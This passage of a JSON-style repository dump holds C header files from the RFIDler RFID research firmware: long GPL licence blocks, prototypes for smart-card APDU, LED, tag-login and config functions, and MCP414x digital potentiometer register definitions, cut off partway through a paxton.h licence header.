*\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"./Smart Card/SClib.h\"\n\nextern SC_APDU_COMMAND cardCommand;\nextern SC_APDU_RESPONSE cardResponse;\nextern BYTE apduData[255];\n\nBOOL send_iso_7816_apdu(BYTE cla, BYTE ins, BYTE p1, BYTE p2, BYTE lc, BYTE *data, BYTE le);\nBOOL iso_7816_send_hex_apdu(BYTE *apdu);\nvoid iso_7816_output();\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/led.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\nBOOL led_get(BYTE led);\nBOOL led_set(BYTE led, BOOL state);\nBOOL led_toggle(BYTE led);\nBOOL led_on(BYTE led);\nBOOL led_off(BYTE led);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/login.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\nBOOL tag_login(unsigned int block, BYTE *response, BYTE *pwd);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/mcp414x.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\n// command byte layout is:\n// [A A A A C C D D] [D D D D D D D D]\n//\n// A = Address\n// C = Command\n// D = Data\n\n// volatile addresses\n#define MCP_ADR_WIPER0    (0x00 << 4)\n#define MCP_ADR_WIPER1    (0x01 << 4)\n#define MCP_ADR_TCON      (0x04 << 4)\n#define MCP_ADR_STATUS    (0x05 << 4)\n\n// non-volatile addresses\n#define MCP_ADR_NV_WIPER0   (0x02 << 4)\n#define MCP_ADR_NV_WIPER1   (0x03 << 4)\n\n// commands\n#define MCP_CMD_WRITE       (0x00 << 2)\n#define MCP_CMD_INCREMENT   (0x01 << 2)\n#define MCP_CMD_DECREMENT   (0x02 << 2)\n#define MCP_CMD_READ        (0x03 << 2)\n\n// error condition\n#define MCP_OK_NO_DATA      0xFF\n#define MCP_OK_DATA         0xFE\n\n// masks\n#define MCP_DATA_MASK       0x03FF\n\n// prototypes\nBYTE send_mcp414_command(BYTE command, BYTE address, unsigned int arglen, unsigned int arg, unsigned int retlen, BYTE *retdata);\nBYTE get_mcp414_status(BYTE *retdata);\nBYTE increment_mcp414(BYTE wiper, BYTE *retdata);\nBYTE decrement_mcp414(BYTE wiper, BYTE *retdata);\nBYTE get_mcp414_wiper(BYTE wiper, BYTE nv, BYTE *retdata);\nBYTE set_mcp414_wiper(BYTE wiper, BYTE nv, unsigned int value, BYTE *retdata);\nvoid show_mcp414_wipers(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/nvm.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\nBOOL saveconfig(void);\nBOOL checkconfigchanged(void);\nBOOL loadconfig(void);\nvoid wipeconfig(void);\nvoid showconfig(void);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/paxton.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact 